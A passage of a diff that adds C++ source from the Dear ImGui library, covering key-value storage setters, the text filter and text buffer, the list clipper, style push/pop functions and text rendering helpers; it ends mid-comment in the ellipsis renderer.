ImGuiStorage::GetVoidPtrRef(ImGuiID key, void* default_val) +{ + ImGuiStoragePair* it = LowerBound(Data, key); + if (it == Data.end() || it->key != key) + it = Data.insert(it, ImGuiStoragePair(key, default_val)); + return &it->val_p; +} + +// FIXME-OPT: Need a way to reuse the result of lower_bound when doing GetInt()/SetInt() - not too bad because it only happens on explicit interaction (maximum one a frame) +void ImGuiStorage::SetInt(ImGuiID key, int val) +{ + ImGuiStoragePair* it = LowerBound(Data, key); + if (it == Data.end() || it->key != key) + { + Data.insert(it, ImGuiStoragePair(key, val)); + return; + } + it->val_i = val; +} + +void ImGuiStorage::SetBool(ImGuiID key, bool val) +{ + SetInt(key, val ? 1 : 0); +} + +void ImGuiStorage::SetFloat(ImGuiID key, float val) +{ + ImGuiStoragePair* it = LowerBound(Data, key); + if (it == Data.end() || it->key != key) + { + Data.insert(it, ImGuiStoragePair(key, val)); + return; + } + it->val_f = val; +} + +void ImGuiStorage::SetVoidPtr(ImGuiID key, void* val) +{ + ImGuiStoragePair* it = LowerBound(Data, key); + if (it == Data.end() || it->key != key) + { + Data.insert(it, ImGuiStoragePair(key, val)); + return; + } + it->val_p = val; +} + +void ImGuiStorage::SetAllInt(int v) +{ + for (int i = 0; i < Data.Size; i++) + Data[i].val_i = v; +} + +//----------------------------------------------------------------------------- +// [SECTION] ImGuiTextFilter +//----------------------------------------------------------------------------- + +// Helper: Parse and apply text filters. In format "aaaaa[,bbbb][,ccccc]" +ImGuiTextFilter::ImGuiTextFilter(const char* default_filter) +{ + if (default_filter) + { + ImStrncpy(InputBuf, default_filter, IM_ARRAYSIZE(InputBuf)); + Build(); + } + else + { + InputBuf[0] = 0; + CountGrep = 0; + } +} + +bool ImGuiTextFilter::Draw(const char* label, float width) +{ + if (width != 0.0f) + ImGui::SetNextItemWidth(width); + bool value_changed = ImGui::InputText(label, InputBuf, IM_ARRAYSIZE(InputBuf)); + if (value_changed) + Build(); + return value_changed; +} + +void ImGuiTextFilter::ImGuiTextRange::split(char separator, ImVector* out) const +{ + out->resize(0); + const char* wb = b; + const char* we = wb; + while (we < e) + { + if (*we == separator) + { + out->push_back(ImGuiTextRange(wb, we)); + wb = we + 1; + } + we++; + } + if (wb != we) + out->push_back(ImGuiTextRange(wb, we)); +} + +void ImGuiTextFilter::Build() +{ + Filters.resize(0); + ImGuiTextRange input_range(InputBuf, InputBuf + strlen(InputBuf)); + input_range.split(',', &Filters); + + CountGrep = 0; + for (int i = 0; i != Filters.Size; i++) + { + ImGuiTextRange& f = Filters[i]; + while (f.b < f.e && ImCharIsBlankA(f.b[0])) + f.b++; + while (f.e > f.b && ImCharIsBlankA(f.e[-1])) + f.e--; + if (f.empty()) + continue; + if (Filters[i].b[0] != '-') + CountGrep += 1; + } +} + +bool ImGuiTextFilter::PassFilter(const char* text, const char* text_end) const +{ + if (Filters.empty()) + return true; + + if (text == NULL) + text = ""; + + for (int i = 0; i != Filters.Size; i++) + { + const ImGuiTextRange& f = Filters[i]; + if (f.empty()) + continue; + if (f.b[0] == '-') + { + // Subtract + if (ImStristr(text, text_end, f.b + 1, f.e) != NULL) + return false; + } + else + { + // Grep + if (ImStristr(text, text_end, f.b, f.e) != NULL) + return true; + } + } + + // Implicit * grep + if (CountGrep == 0) + return true; + + return false; +} + +//----------------------------------------------------------------------------- +// [SECTION] ImGuiTextBuffer +//----------------------------------------------------------------------------- + +// On some platform vsnprintf() takes va_list by reference and modifies it. +// va_copy is the 'correct' way to copy a va_list but Visual Studio prior to 2013 doesn't have it. +#ifndef va_copy +#if defined(__GNUC__) || defined(__clang__) +#define va_copy(dest, src) __builtin_va_copy(dest, src) +#else +#define va_copy(dest, src) (dest = src) +#endif +#endif + +char ImGuiTextBuffer::EmptyString[1] = { 0 }; + +void ImGuiTextBuffer::append(const char* str, const char* str_end) +{ + int len = str_end ? (int)(str_end - str) : (int)strlen(str); + + // Add zero-terminator the first time + const int write_off = (Buf.Size != 0) ? Buf.Size : 1; + const int needed_sz = write_off + len; + if (write_off + len >= Buf.Capacity) + { + int new_capacity = Buf.Capacity * 2; + Buf.reserve(needed_sz > new_capacity ? needed_sz : new_capacity); + } + + Buf.resize(needed_sz); + memcpy(&Buf[write_off - 1], str, (size_t)len); + Buf[write_off - 1 + len] = 0; +} + +void ImGuiTextBuffer::appendf(const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + appendfv(fmt, args); + va_end(args); +} + +// Helper: Text buffer for logging/accumulating text +void ImGuiTextBuffer::appendfv(const char* fmt, va_list args) +{ + va_list args_copy; + va_copy(args_copy, args); + + int len = ImFormatStringV(NULL, 0, fmt, args); // FIXME-OPT: could do a first pass write attempt, likely successful on first pass. + if (len <= 0) + { + va_end(args_copy); + return; + } + + // Add zero-terminator the first time + const int write_off = (Buf.Size != 0) ? Buf.Size : 1; + const int needed_sz = write_off + len; + if (write_off + len >= Buf.Capacity) + { + int new_capacity = Buf.Capacity * 2; + Buf.reserve(needed_sz > new_capacity ? needed_sz : new_capacity); + } + + Buf.resize(needed_sz); + ImFormatStringV(&Buf[write_off - 1], (size_t)len + 1, fmt, args_copy); + va_end(args_copy); +} + +//----------------------------------------------------------------------------- +// [SECTION] ImGuiListClipper +// This is currently not as flexible/powerful as it should be and really confusing/spaghetti, mostly because we changed +// the API mid-way through development and support two ways to using the clipper, needs some rework (see TODO) +//----------------------------------------------------------------------------- + +// FIXME-TABLE: This prevents us from using ImGuiListClipper _inside_ a table cell. +// The problem we have is that without a Begin/End scheme for rows using the clipper is ambiguous. +static bool GetSkipItemForListClipping() +{ + ImGuiContext& g = *GImGui; + return (g.CurrentTable ? g.CurrentTable->HostSkipItems : g.CurrentWindow->SkipItems); +} + +// Helper to calculate coarse clipping of large list of evenly sized items. +// NB: Prefer using the ImGuiListClipper higher-level helper if you can! Read comments and instructions there on how those use this sort of pattern. +// NB: 'items_count' is only used to clamp the result, if you don't know your count you can use INT_MAX +void ImGui::CalcListClipping(int items_count, float items_height, int* out_items_display_start, int* out_items_display_end) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (g.LogEnabled) + { + // If logging is active, do not perform any clipping + *out_items_display_start = 0; + *out_items_display_end = items_count; + return; + } + if (GetSkipItemForListClipping()) + { + *out_items_display_start = *out_items_display_end = 0; + return; + } + + // We create the union of the ClipRect and the NavScoringRect which at worst should be 1 page away from ClipRect + ImRect unclipped_rect = window->ClipRect; + if (g.NavMoveRequest) + unclipped_rect.Add(g.NavScoringRect); + if (g.NavJustMovedToId && window->NavLastIds[0] == g.NavJustMovedToId) + unclipped_rect.Add(ImRect(window->Pos + window->NavRectRel[0].Min, window->Pos + window->NavRectRel[0].Max)); + + const ImVec2 pos = window->DC.CursorPos; + int start = (int)((unclipped_rect.Min.y - pos.y) / items_height); + int end = (int)((unclipped_rect.Max.y - pos.y) / items_height); + + // When performing a navigation request, ensure we have one item extra in the direction we are moving to + if (g.NavMoveRequest && g.NavMoveClipDir == ImGuiDir_Up) + start--; + if (g.NavMoveRequest && g.NavMoveClipDir == ImGuiDir_Down) + end++; + + start = ImClamp(start, 0, items_count); + end = ImClamp(end + 1, start, items_count); + *out_items_display_start = start; + *out_items_display_end = end; +} + +static void SetCursorPosYAndSetupForPrevLine(float pos_y, float line_height) +{ + // Set cursor position and a few other things so that SetScrollHereY() and Columns() can work when seeking cursor. + // FIXME: It is problematic that we have to do that here, because custom/equivalent end-user code would stumble on the same issue. + // The clipper should probably have a 4th step to display the last item in a regular manner. + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + float off_y = pos_y - window->DC.CursorPos.y; + window->DC.CursorPos.y = pos_y; + window->DC.CursorMaxPos.y = ImMax(window->DC.CursorMaxPos.y, pos_y); + window->DC.CursorPosPrevLine.y = window->DC.CursorPos.y - line_height; // Setting those fields so that SetScrollHereY() can properly function after the end of our clipper usage. + window->DC.PrevLineSize.y = (line_height - g.Style.ItemSpacing.y); // If we end up needing more accurate data (to e.g. use SameLine) we may as well make the clipper have a fourth step to let user process and display the last item in their list. + if (ImGuiOldColumns* columns = window->DC.CurrentColumns) + columns->LineMinY = window->DC.CursorPos.y; // Setting this so that cell Y position are set properly + if (ImGuiTable* table = g.CurrentTable) + { + if (table->IsInsideRow) + ImGui::TableEndRow(table); + table->RowPosY2 = window->DC.CursorPos.y; + const int row_increase = (int)((off_y / line_height) + 0.5f); + //table->CurrentRow += row_increase; // Can't do without fixing TableEndRow() + table->RowBgColorCounter += row_increase; + } +} + +ImGuiListClipper::ImGuiListClipper() +{ + memset(this, 0, sizeof(*this)); + ItemsCount = -1; +} + +ImGuiListClipper::~ImGuiListClipper() +{ + IM_ASSERT(ItemsCount == -1 && "Forgot to call End(), or to Step() until false?"); +} + +// Use case A: Begin() called from constructor with items_height<0, then called again from Step() in StepNo 1 +// Use case B: Begin() called from constructor with items_height>0 +// FIXME-LEGACY: Ideally we should remove the Begin/End functions but they are part of the legacy API we still support. This is why some of the code in Step() calling Begin() and reassign some fields, spaghetti style. +void ImGuiListClipper::Begin(int items_count, float items_height) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + if (ImGuiTable* table = g.CurrentTable) + if (table->IsInsideRow) + ImGui::TableEndRow(table); + + StartPosY = window->DC.CursorPos.y; + ItemsHeight = items_height; + ItemsCount = items_count; + ItemsFrozen = 0; + StepNo = 0; + DisplayStart = -1; + DisplayEnd = 0; +} + +void ImGuiListClipper::End() +{ + if (ItemsCount < 0) // Already ended + return; + + // In theory here we should assert that ImGui::GetCursorPosY() == StartPosY + DisplayEnd * ItemsHeight, but it feels saner to just seek at the end and not assert/crash the user. + if (ItemsCount < INT_MAX && DisplayStart >= 0) + SetCursorPosYAndSetupForPrevLine(StartPosY + (ItemsCount - ItemsFrozen) * ItemsHeight, ItemsHeight); + ItemsCount = -1; + StepNo = 3; +} + +bool ImGuiListClipper::Step() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + ImGuiTable* table = g.CurrentTable; + if (table && table->IsInsideRow) + ImGui::TableEndRow(table); + + // No items + if (ItemsCount == 0 || GetSkipItemForListClipping()) + { + End(); + return false; + } + + // Step 0: Let you process the first element (regardless of it being visible or not, so we can measure the element height) + if (StepNo == 0) + { + // While we are in frozen row state, keep displaying items one by one, unclipped + // FIXME: Could be stored as a table-agnostic state. + if (table != NULL && !table->IsUnfrozen) + { + DisplayStart = ItemsFrozen; + DisplayEnd = ItemsFrozen + 1; + ItemsFrozen++; + return true; + } + + StartPosY = window->DC.CursorPos.y; + if (ItemsHeight <= 0.0f) + { + // Submit the first item so we can measure its height (generally it is 0..1) + DisplayStart = ItemsFrozen; + DisplayEnd = ItemsFrozen + 1; + StepNo = 1; + return true; + } + + // Already has item height (given by user in Begin): skip to calculating step + DisplayStart = DisplayEnd; + StepNo = 2; + } + + // Step 1: the clipper infer height from first element + if (StepNo == 1) + { + IM_ASSERT(ItemsHeight <= 0.0f); + if (table) + { + const float pos_y1 = table->RowPosY1; // Using this instead of StartPosY to handle clipper straddling the frozen row + const float pos_y2 = table->RowPosY2; // Using this instead of CursorPos.y to take account of tallest cell. + ItemsHeight = pos_y2 - pos_y1; + window->DC.CursorPos.y = pos_y2; + } + else + { + ItemsHeight = window->DC.CursorPos.y - StartPosY; + } + IM_ASSERT(ItemsHeight > 0.0f && "Unable to calculate item height! First item hasn't moved the cursor vertically!"); + StepNo = 2; + } + + // Reached end of list + if (DisplayEnd >= ItemsCount) + { + End(); + return false; + } + + // Step 2: calculate the actual range of elements to display, and position the cursor before the first element + if (StepNo == 2) + { + IM_ASSERT(ItemsHeight > 0.0f); + + int already_submitted = DisplayEnd; + ImGui::CalcListClipping(ItemsCount - already_submitted, ItemsHeight, &DisplayStart, &DisplayEnd); + DisplayStart += already_submitted; + DisplayEnd += already_submitted; + + // Seek cursor + if (DisplayStart > already_submitted) + SetCursorPosYAndSetupForPrevLine(StartPosY + (DisplayStart - ItemsFrozen) * ItemsHeight, ItemsHeight); + + StepNo = 3; + return true; + } + + // Step 3: the clipper validate that we have reached the expected Y position (corresponding to element DisplayEnd), + // Advance the cursor to the end of the list and then returns 'false' to end the loop. + if (StepNo == 3) + { + // Seek cursor + if (ItemsCount < INT_MAX) + SetCursorPosYAndSetupForPrevLine(StartPosY + (ItemsCount - ItemsFrozen) * ItemsHeight, ItemsHeight); // advance cursor + ItemsCount = -1; + return false; + } + + IM_ASSERT(0); + return false; +} + +//----------------------------------------------------------------------------- +// [SECTION] STYLING +//----------------------------------------------------------------------------- + +ImGuiStyle& ImGui::GetStyle() +{ + IM_ASSERT(GImGui != NULL && "No current context. Did you call ImGui::CreateContext() and ImGui::SetCurrentContext() ?"); + return GImGui->Style; +} + +ImU32 ImGui::GetColorU32(ImGuiCol idx, float alpha_mul) +{ + ImGuiStyle& style = GImGui->Style; + ImVec4 c = style.Colors[idx]; + c.w *= style.Alpha * alpha_mul; + return ColorConvertFloat4ToU32(c); +} + +ImU32 ImGui::GetColorU32(const ImVec4& col) +{ + ImGuiStyle& style = GImGui->Style; + ImVec4 c = col; + c.w *= style.Alpha; + return ColorConvertFloat4ToU32(c); +} + +const ImVec4& ImGui::GetStyleColorVec4(ImGuiCol idx) +{ + ImGuiStyle& style = GImGui->Style; + return style.Colors[idx]; +} + +ImU32 ImGui::GetColorU32(ImU32 col) +{ + ImGuiStyle& style = GImGui->Style; + if (style.Alpha >= 1.0f) + return col; + ImU32 a = (col & IM_COL32_A_MASK) >> IM_COL32_A_SHIFT; + a = (ImU32)(a * style.Alpha); // We don't need to clamp 0..255 because Style.Alpha is in 0..1 range. + return (col & ~IM_COL32_A_MASK) | (a << IM_COL32_A_SHIFT); +} + +// FIXME: This may incur a round-trip (if the end user got their data from a float4) but eventually we aim to store the in-flight colors as ImU32 +void ImGui::PushStyleColor(ImGuiCol idx, ImU32 col) +{ + ImGuiContext& g = *GImGui; + ImGuiColorMod backup; + backup.Col = idx; + backup.BackupValue = g.Style.Colors[idx]; + g.ColorStack.push_back(backup); + g.Style.Colors[idx] = ColorConvertU32ToFloat4(col); +} + +void ImGui::PushStyleColor(ImGuiCol idx, const ImVec4& col) +{ + ImGuiContext& g = *GImGui; + ImGuiColorMod backup; + backup.Col = idx; + backup.BackupValue = g.Style.Colors[idx]; + g.ColorStack.push_back(backup); + g.Style.Colors[idx] = col; +} + +void ImGui::PopStyleColor(int count) +{ + ImGuiContext& g = *GImGui; + while (count > 0) + { + ImGuiColorMod& backup = g.ColorStack.back(); + g.Style.Colors[backup.Col] = backup.BackupValue; + g.ColorStack.pop_back(); + count--; + } +} + +struct ImGuiStyleVarInfo +{ + ImGuiDataType Type; + ImU32 Count; + ImU32 Offset; + void* GetVarPtr(ImGuiStyle* style) const { return (void*)((unsigned char*)style + Offset); } +}; + +static const ImGuiStyleVarInfo GStyleVarInfo[] = +{ + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, Alpha) }, // ImGuiStyleVar_Alpha + { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowPadding) }, // ImGuiStyleVar_WindowPadding + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowRounding) }, // ImGuiStyleVar_WindowRounding + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowBorderSize) }, // ImGuiStyleVar_WindowBorderSize + { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowMinSize) }, // ImGuiStyleVar_WindowMinSize + { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowTitleAlign) }, // ImGuiStyleVar_WindowTitleAlign + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, ChildRounding) }, // ImGuiStyleVar_ChildRounding + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, ChildBorderSize) }, // ImGuiStyleVar_ChildBorderSize + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, PopupRounding) }, // ImGuiStyleVar_PopupRounding + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, PopupBorderSize) }, // ImGuiStyleVar_PopupBorderSize + { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, FramePadding) }, // ImGuiStyleVar_FramePadding + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, FrameRounding) }, // ImGuiStyleVar_FrameRounding + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, FrameBorderSize) }, // ImGuiStyleVar_FrameBorderSize + { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, ItemSpacing) }, // ImGuiStyleVar_ItemSpacing + { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, ItemInnerSpacing) }, // ImGuiStyleVar_ItemInnerSpacing + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, IndentSpacing) }, // ImGuiStyleVar_IndentSpacing + { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, CellPadding) }, // ImGuiStyleVar_CellPadding + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, ScrollbarSize) }, // ImGuiStyleVar_ScrollbarSize + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, ScrollbarRounding) }, // ImGuiStyleVar_ScrollbarRounding + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, GrabMinSize) }, // ImGuiStyleVar_GrabMinSize + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, GrabRounding) }, // ImGuiStyleVar_GrabRounding + { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, TabRounding) }, // ImGuiStyleVar_TabRounding + { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, ButtonTextAlign) }, // ImGuiStyleVar_ButtonTextAlign + { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, SelectableTextAlign) }, // ImGuiStyleVar_SelectableTextAlign +}; + +static const ImGuiStyleVarInfo* GetStyleVarInfo(ImGuiStyleVar idx) +{ + IM_ASSERT(idx >= 0 && idx < ImGuiStyleVar_COUNT); + IM_ASSERT(IM_ARRAYSIZE(GStyleVarInfo) == ImGuiStyleVar_COUNT); + return &GStyleVarInfo[idx]; +} + +void ImGui::PushStyleVar(ImGuiStyleVar idx, float val) +{ + const ImGuiStyleVarInfo* var_info = GetStyleVarInfo(idx); + if (var_info->Type == ImGuiDataType_Float && var_info->Count == 1) + { + ImGuiContext& g = *GImGui; + float* pvar = (float*)var_info->GetVarPtr(&g.Style); + g.StyleVarStack.push_back(ImGuiStyleMod(idx, *pvar)); + *pvar = val; + return; + } + IM_ASSERT(0 && "Called PushStyleVar() float variant but variable is not a float!"); +} + +void ImGui::PushStyleVar(ImGuiStyleVar idx, const ImVec2& val) +{ + const ImGuiStyleVarInfo* var_info = GetStyleVarInfo(idx); + if (var_info->Type == ImGuiDataType_Float && var_info->Count == 2) + { + ImGuiContext& g = *GImGui; + ImVec2* pvar = (ImVec2*)var_info->GetVarPtr(&g.Style); + g.StyleVarStack.push_back(ImGuiStyleMod(idx, *pvar)); + *pvar = val; + return; + } + IM_ASSERT(0 && "Called PushStyleVar() ImVec2 variant but variable is not a ImVec2!"); +} + +void ImGui::PopStyleVar(int count) +{ + ImGuiContext& g = *GImGui; + while (count > 0) + { + // We avoid a generic memcpy(data, &backup.Backup.., GDataTypeSize[info->Type] * info->Count), the overhead in Debug is not worth it. + ImGuiStyleMod& backup = g.StyleVarStack.back(); + const ImGuiStyleVarInfo* info = GetStyleVarInfo(backup.VarIdx); + void* data = info->GetVarPtr(&g.Style); + if (info->Type == ImGuiDataType_Float && info->Count == 1) { ((float*)data)[0] = backup.BackupFloat[0]; } + else if (info->Type == ImGuiDataType_Float && info->Count == 2) { ((float*)data)[0] = backup.BackupFloat[0]; ((float*)data)[1] = backup.BackupFloat[1]; } + g.StyleVarStack.pop_back(); + count--; + } +} + +const char* ImGui::GetStyleColorName(ImGuiCol idx) +{ + // Create switch-case from enum with regexp: ImGuiCol_{.*}, --> case ImGuiCol_\1: return "\1"; + switch (idx) + { + case ImGuiCol_Text: return "Text"; + case ImGuiCol_TextDisabled: return "TextDisabled"; + case ImGuiCol_WindowBg: return "WindowBg"; + case ImGuiCol_ChildBg: return "ChildBg"; + case ImGuiCol_PopupBg: return "PopupBg"; + case ImGuiCol_Border: return "Border"; + case ImGuiCol_BorderShadow: return "BorderShadow"; + case ImGuiCol_FrameBg: return "FrameBg"; + case ImGuiCol_FrameBgHovered: return "FrameBgHovered"; + case ImGuiCol_FrameBgActive: return "FrameBgActive"; + case ImGuiCol_TitleBg: return "TitleBg"; + case ImGuiCol_TitleBgActive: return "TitleBgActive"; + case ImGuiCol_TitleBgCollapsed: return "TitleBgCollapsed"; + case ImGuiCol_MenuBarBg: return "MenuBarBg"; + case ImGuiCol_ScrollbarBg: return "ScrollbarBg"; + case ImGuiCol_ScrollbarGrab: return "ScrollbarGrab"; + case ImGuiCol_ScrollbarGrabHovered: return "ScrollbarGrabHovered"; + case ImGuiCol_ScrollbarGrabActive: return "ScrollbarGrabActive"; + case ImGuiCol_CheckMark: return "CheckMark"; + case ImGuiCol_SliderGrab: return "SliderGrab"; + case ImGuiCol_SliderGrabActive: return "SliderGrabActive"; + case ImGuiCol_Button: return "Button"; + case ImGuiCol_ButtonHovered: return "ButtonHovered"; + case ImGuiCol_ButtonActive: return "ButtonActive"; + case ImGuiCol_Header: return "Header"; + case ImGuiCol_HeaderHovered: return "HeaderHovered"; + case ImGuiCol_HeaderActive: return "HeaderActive"; + case ImGuiCol_Separator: return "Separator"; + case ImGuiCol_SeparatorHovered: return "SeparatorHovered"; + case ImGuiCol_SeparatorActive: return "SeparatorActive"; + case ImGuiCol_ResizeGrip: return "ResizeGrip"; + case ImGuiCol_ResizeGripHovered: return "ResizeGripHovered"; + case ImGuiCol_ResizeGripActive: return "ResizeGripActive"; + case ImGuiCol_Tab: return "Tab"; + case ImGuiCol_TabHovered: return "TabHovered"; + case ImGuiCol_TabActive: return "TabActive"; + case ImGuiCol_TabUnfocused: return "TabUnfocused"; + case ImGuiCol_TabUnfocusedActive: return "TabUnfocusedActive"; + case ImGuiCol_PlotLines: return "PlotLines"; + case ImGuiCol_PlotLinesHovered: return "PlotLinesHovered"; + case ImGuiCol_PlotHistogram: return "PlotHistogram"; + case ImGuiCol_PlotHistogramHovered: return "PlotHistogramHovered"; + case ImGuiCol_TableHeaderBg: return "TableHeaderBg"; + case ImGuiCol_TableBorderStrong: return "TableBorderStrong"; + case ImGuiCol_TableBorderLight: return "TableBorderLight"; + case ImGuiCol_TableRowBg: return "TableRowBg"; + case ImGuiCol_TableRowBgAlt: return "TableRowBgAlt"; + case ImGuiCol_TextSelectedBg: return "TextSelectedBg"; + case ImGuiCol_DragDropTarget: return "DragDropTarget"; + case ImGuiCol_NavHighlight: return "NavHighlight"; + case ImGuiCol_NavWindowingHighlight: return "NavWindowingHighlight"; + case ImGuiCol_NavWindowingDimBg: return "NavWindowingDimBg"; + case ImGuiCol_ModalWindowDimBg: return "ModalWindowDimBg"; + } + IM_ASSERT(0); + return "Unknown"; +} + + +//----------------------------------------------------------------------------- +// [SECTION] RENDER HELPERS +// Some of those (internal) functions are currently quite a legacy mess - their signature and behavior will change, +// we need a nicer separation between low-level functions and high-level functions relying on the ImGui context. +// Also see imgui_draw.cpp for some more which have been reworked to not rely on ImGui:: context. +//----------------------------------------------------------------------------- + +const char* ImGui::FindRenderedTextEnd(const char* text, const char* text_end) +{ + const char* text_display_end = text; + if (!text_end) + text_end = (const char*)-1; + + while (text_display_end < text_end && *text_display_end != '\0' && (text_display_end[0] != '#' || text_display_end[1] != '#')) + text_display_end++; + return text_display_end; +} + +// Internal ImGui functions to render text +// RenderText***() functions calls ImDrawList::AddText() calls ImBitmapFont::RenderText() +void ImGui::RenderText(ImVec2 pos, const char* text, const char* text_end, bool hide_text_after_hash) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + // Hide anything after a '##' string + const char* text_display_end; + if (hide_text_after_hash) + { + text_display_end = FindRenderedTextEnd(text, text_end); + } + else + { + if (!text_end) + text_end = text + strlen(text); // FIXME-OPT + text_display_end = text_end; + } + + if (text != text_display_end) + { + window->DrawList->AddText(g.Font, g.FontSize, pos, GetColorU32(ImGuiCol_Text), text, text_display_end); + if (g.LogEnabled) + LogRenderedText(&pos, text, text_display_end); + } +} + +void ImGui::RenderTextWrapped(ImVec2 pos, const char* text, const char* text_end, float wrap_width) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + if (!text_end) + text_end = text + strlen(text); // FIXME-OPT + + if (text != text_end) + { + window->DrawList->AddText(g.Font, g.FontSize, pos, GetColorU32(ImGuiCol_Text), text, text_end, wrap_width); + if (g.LogEnabled) + LogRenderedText(&pos, text, text_end); + } +} + +// Default clip_rect uses (pos_min,pos_max) +// Handle clipping on CPU immediately (vs typically let the GPU clip the triangles that are overlapping the clipping rectangle edges) +void ImGui::RenderTextClippedEx(ImDrawList* draw_list, const ImVec2& pos_min, const ImVec2& pos_max, const char* text, const char* text_display_end, const ImVec2* text_size_if_known, const ImVec2& align, const ImRect* clip_rect) +{ + // Perform CPU side clipping for single clipped element to avoid using scissor state + ImVec2 pos = pos_min; + const ImVec2 text_size = text_size_if_known ? *text_size_if_known : CalcTextSize(text, text_display_end, false, 0.0f); + + const ImVec2* clip_min = clip_rect ? &clip_rect->Min : &pos_min; + const ImVec2* clip_max = clip_rect ? &clip_rect->Max : &pos_max; + bool need_clipping = (pos.x + text_size.x >= clip_max->x) || (pos.y + text_size.y >= clip_max->y); + if (clip_rect) // If we had no explicit clipping rectangle then pos==clip_min + need_clipping |= (pos.x < clip_min->x) || (pos.y < clip_min->y); + + // Align whole block. We should defer that to the better rendering function when we'll have support for individual line alignment. + if (align.x > 0.0f) pos.x = ImMax(pos.x, pos.x + (pos_max.x - pos.x - text_size.x) * align.x); + if (align.y > 0.0f) pos.y = ImMax(pos.y, pos.y + (pos_max.y - pos.y - text_size.y) * align.y); + + // Render + if (need_clipping) + { + ImVec4 fine_clip_rect(clip_min->x, clip_min->y, clip_max->x, clip_max->y); + draw_list->AddText(NULL, 0.0f, pos, GetColorU32(ImGuiCol_Text), text, text_display_end, 0.0f, &fine_clip_rect); + } + else + { + draw_list->AddText(NULL, 0.0f, pos, GetColorU32(ImGuiCol_Text), text, text_display_end, 0.0f, NULL); + } +} + +void ImGui::RenderTextClipped(const ImVec2& pos_min, const ImVec2& pos_max, const char* text, const char* text_end, const ImVec2* text_size_if_known, const ImVec2& align, const ImRect* clip_rect) +{ + // Hide anything after a '##' string + const char* text_display_end = FindRenderedTextEnd(text, text_end); + const int text_len = (int)(text_display_end - text); + if (text_len == 0) + return; + + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + RenderTextClippedEx(window->DrawList, pos_min, pos_max, text, text_display_end, text_size_if_known, align, clip_rect); + if (g.LogEnabled) + LogRenderedText(&pos_min, text, text_display_end); +} + + +// Another overly complex function until we reorganize everything into a nice all-in-one helper. +// This is made more complex because we have dissociated the layout rectangle (pos_min..pos_max) which define _where_ the ellipsis is, from actual clipping of text and limit of the ellipsis display. +// This is because in the context of tabs we selectively hide part of the text when the Close Button appears, but we don't want the ellipsis to move. +void ImGui::RenderTextEllipsis(ImDrawList* draw_list, const ImVec2& pos_min, const ImVec2& pos_max, float clip_max_x, float ellipsis_max_x, const char* text, const char* text_end_full, const ImVec2* text_size_if_known) +{ + ImGuiContext& g = *GImGui; + if (text_end_full == NULL) + text_end_full = FindRenderedTextEnd(text); + const ImVec2 text_size = text_size_if_known ? *text_size_if_known : CalcTextSize(text, text_end_full, false, 0.0f); + + //draw_list->AddLine(ImVec2(pos_max.x, pos_min.y - 4), ImVec2(pos_max.x, pos_max.y + 4), IM_COL32(0, 0, 255, 255)); + //draw_list->AddLine(ImVec2(ellipsis_max_x, pos_min.y-2), ImVec2(ellipsis_max_x, pos_max.y+2), IM_COL32(0, 255, 0, 255)); + //draw_list->AddLine(ImVec2(clip_max_x, pos_min.y), ImVec2(clip_max_x, pos_max.y), IM_COL32(255, 0, 0, 255)); + // FIXME: We could technically remove (last_glyph->AdvanceX - last_glyph->X1) from text_size.x here and save a few pixels. + if (text_size.x > pos_max.x - pos_min.x) + { + // Hello wo... + // | | | + // min max ellipsis_max + // <-> this is generally some padding value + + const ImFont* font = draw_list->_Data->Font; + const float font_size = draw_list->_Data->FontSize; + const char* text_end_ellipsis = NULL; + + ImWchar ellipsis_char = font->EllipsisChar; + int ellipsis_char_count = 1; + if (ellipsis_char == (ImWchar)-1) + { + ellipsis_char = (ImWchar)'.'; + ellipsis_char_count = 3; + } + const ImFontGlyph* glyph = font->FindGlyph(ellipsis_char); + + float ellipsis_glyph_width = glyph->X1; // Width of the glyph with no padding on either side + float ellipsis_total_width = ellipsis_glyph_width; // Full width of entire ellipsis + + if (ellipsis_char_count > 1) + { + // Full ellipsis size without free spacing after it. + const float spacing_between_dots = 1.0f * (draw_list->_Data->FontSize / font->FontSize); + ellipsis_glyph_width = glyph->X1 - glyph->X0 + spacing_between_dots; + ellipsis_total_width = ellipsis_glyph_width * (float)ellipsis_char_count - spacing_between_dots; + } + + // We can now claim the space between 